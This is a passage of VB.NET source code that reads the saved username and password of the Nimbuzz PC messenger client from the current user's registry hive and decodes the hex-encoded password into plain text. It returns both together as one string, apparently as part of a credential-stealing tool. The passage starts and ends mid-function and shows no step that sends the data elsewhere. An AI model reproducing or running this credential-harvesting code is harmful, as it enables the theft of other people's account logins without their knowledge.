Dim f As New NTAccount(Environment.UserName)
Dim s As SecurityIdentifier = DirectCast(f.Translate(GetType(SecurityIdentifier)), SecurityIdentifier)
Dim sidString As [String] = s.ToString()
Dim sUser As String = RegRead("HKEY_USERS" & sidString & "\Software\Nimbuzz\PCClient\Application\Username")
Dim sPass As String = Hex2Ascii(Replace(Replace(RegRead("HKEY_USERS" & sidString & "\Software\Nimbuzz\PCClient\Application\password"), "@ByteArray(", ""), ")", ""))
'sUser = Username
'sPass = Password
End Try
Return sUser & " " & sPass
End Function
Public Function Hex2Ascii(ByVal Text As String) As String
Dim Value As Object
Dim num As Object
Dim i As Object
Value = Nothing
For i = 1 To Len(Text)
num = Mid(Text, i, 2)
Value = Value & Chr(Val("&h" & num))
i = i + 1 ' // +1
Next i ' Next Chr
Hex2Ascii = Value